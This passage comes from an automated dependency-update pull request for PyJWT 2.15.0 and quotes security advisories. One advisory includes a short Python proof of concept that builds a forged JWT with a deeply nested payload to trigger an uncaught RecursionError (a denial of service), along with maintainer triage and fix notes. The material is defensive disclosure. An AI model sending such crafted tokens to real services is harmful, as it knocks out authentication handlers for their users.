`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102275](https://nvd.nist.gov/vuln/detail/CVE-2026-102275) - [https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c](https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.15.0](https://github.com/jpadilla/pyjwt/releases/tag/2.15.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x33g-cr3x-6449) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False) [CVE-2026-101918](https://nvd.nist.gov/vuln/detail/CVE-2026-101918) / [GHSA-42vr-xj54-vc7v](https://github.com/advisories/GHSA-42vr-xj54-vc7v) / PYSEC-2026-4141 <details> <summary>More information</summary> #### Details ##### Summary `PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS verification flow documented in `docs/usage.rst` — must decode a token's payload before its signature can be checked, via `jwt.api_jwt.decode_complete(token, options={"verify_signature": False})`. That call parses the payload with `json.loads` in `PyJWT._decode_payload` (`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`. A payload that is valid JSON but nested ~20,000 levels deep makes `json.loads` raise `RecursionError`, which is **not** a `ValueError` and escapes as a raw, undocumented exception type — not `DecodeError`, `InvalidTokenError`, or `PyJWTError`, so every documented error-handling pattern in `docs/usage.rst` misses it. The token needs no valid signature and no network access — the crash happens during payload parsing, before the `kid` is even looked up. A single unauthenticated ~50KB request crashes the caller's auth handler (HTTP 500 / dead worker), repeatably. The same path is reachable through plain `jwt.decode(token, options={"verify_signature": False})` too. Notably, this project already fixed the **identical** bug class for the JWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)` and wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and `CHANGELOG.rst` (v2.14.0, "Security") states "Handle deeply nested and malformed JWS/JWK input without uncaught recursion errors." The payload path — the one part of a forged token an unauthenticated attacker fully controls — was left catching `ValueError` alone, so that security fix does not fully hold. A second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`) parses a JWKS endpoint's response with `json.load(response)` inside a `try` that only catches `(URLError, TimeoutError, http.client.HTTPException)` — a deeply-nested JSON response from a JWKS endpoint raises the same raw `RecursionError`, uncaught entirely (worse than the payload path, which at least caught plain `ValueError`). **Affected versions:** confirmed present in the current release, 2.14.0, and on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`). ##### Reproduction ```python import base64, json, jwt def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64url(b"[" * 20_000 + b"]" * 20_000) token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode() jwt.decode(token, options={"verify_signature": False}) ##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError) ``` Control: the same deeply-nested structure moved into the token's **header** instead of its payload is correctly converted to `jwt.DecodeError` by the already-hardened `jwt/api_jws.py:360` — confirming the payload path is specifically the missed half of the v2.14.0 hardening, not a general gap. ##### Impact assessment Unauthenticated denial-of-service via unhandled exception on an auth path. Not an auth bypass — rated medium. With signature verification enabled, this parse runs after `_verify_signature`, so only the pre-verification paths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are attacker-reachable pre-auth; the JWKS-endpoint variant requires control of (or a MITM on) the configured JWKS endpoint rather than being reachable from an arbitrary client token. ##### Suggested fix In `jwt/api_jwt.py:299`, change `except ValueError as e:` to `except (ValueError, RecursionError) as e:`, mirroring `jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same `(ValueError, RecursionError)` handling around `json.load(response)` in `fetch_data`, raising `PyJWKClientError` (consistent with the method's existing documented error contract). A patch implementing both, verified against the full test suite (457 passed, 4 skipped — pre-existing, environment-related) and against the reproduction above (now correctly raises `DecodeError`), is attached (`fix.patch`). ##### Discovery method Found and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep) — a semantic code-retrieval tool that surfaces every other call site of a symbol alongside relevance-ranked results, which is what surfaced the already-hardened header path as the direct comparison here — paired with an LLM coding agent (GLM-5.3) run as an open-ended security review of this repository. Independently reproduced against the exact commit above before this report was written. Happy to share the full session transcript on request. ##### Disclosure status Not shared with any other party or published. Submitting through this private channel per the project's stated security policy; no planned public/conference disclosure ahead of a coordinated timeline. --- ##### Maintainer triage update (2026-09-22) ##### Confirmed finding and scope We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup. The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact. The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix. ##### Version and remediation status Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `>= 2.0.0a1, <= 2.14.0`. Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch. --- ##### Maintainer remediation update (2026-09-23) The confirmed payload-parser finding has been fixed on `master`. Commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive payload parse failure to the expected `DecodeError`; commit `9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests deterministic across supported Python versions. This update supersedes the 2026-09-22 remediation-status statement that the fix had not landed. The original pre-verification payload reproducer and the `PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests. The exact landed tree passed the full 39-environment local tox matrix and GitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact remains an uncaught request-level exception in affected releases; there is still no evidence of process termination, persistent resource exhaustion, authentication bypass, or confidentiality or integrity impact. The supported affected range remains `>= 2.0.0a1, <= 2.14.0`. The latest released version is 2.14.0, which predates these commits; no released patched version exists yet, so `patched_versions` remains unset. CVSS v3.1 5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from triage to private draft. The next lifecycle step is a new supported 2.x release containing the fix, followed by separately approved patched-version and publication updates after release verification. --- ##### Maintainer release update (2026-09-23) PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963. The published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `>= 2.0.0a1, <= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update. The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101918](https://nvd.nist.gov/vuln/detail/CVE-2026-101918) - [https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b](https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.15.0](https://github.com/jpadilla/pyjwt/releases/tag/2.15.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-42vr-xj54-vc7v](https://github.com/advisories/GHSA-42vr-xj54-vc7v) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4141) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-102275](https://nvd.nist.gov/vuln/detail/CVE-2026-102275) / [GHSA-x33g-cr3x-6449](https://github.com/advisories/GHSA-x33g-cr3x-6449) / PYSEC-2026-4183 <details> <summary>More information</summary> #### Details PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/releases/tag/2.15.0](https://github.com/jpadilla/pyjwt/releases/tag/2.15.0) - [https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c](https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c) - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4183) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>jpadilla/pyjwt (pyjwt)</summary> ### [`v2.15.0`](https://github.com/jpadilla/pyjwt/releases/tag/2.15.0) [Compare Source](https://github.com/jpadilla/pyjwt/compare/2.14.0...2.15.0) See the [2.15.0 changelog](https://github.com/jpadilla/pyjwt/blob/2.15.0/CHANGELOG.rst) for complete release details. ### [`v2.14.0`](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) [Compare Source](https://github.com/jpadilla/pyjwt/compare/2.13.0...2.14.0) See the [2.14.0 changelog](https://github.com/jpadilla/pyjwt/blob/2.14.0/CHANGELOG.rst) for the complete release details and related security advisories. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - "" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODYuNSIsInVwZGF0ZWRJblZlciI6IjQzLjE4Ni41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
renovate changed title from chore(deps): update dependency pyjwt to v2.15.0 [security] to chore(deps): update dependency pyjwt to v2.15.0 [security] - autoclosed 2026-10-20 08:10:23 +00:00
renovate closed this pull request 2026-10-20 08:10:23 +00:00

Pull request closed

Sign in to join this conversation.
No reviewers
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
sr2/upload.sr2.uk!12
No description provided.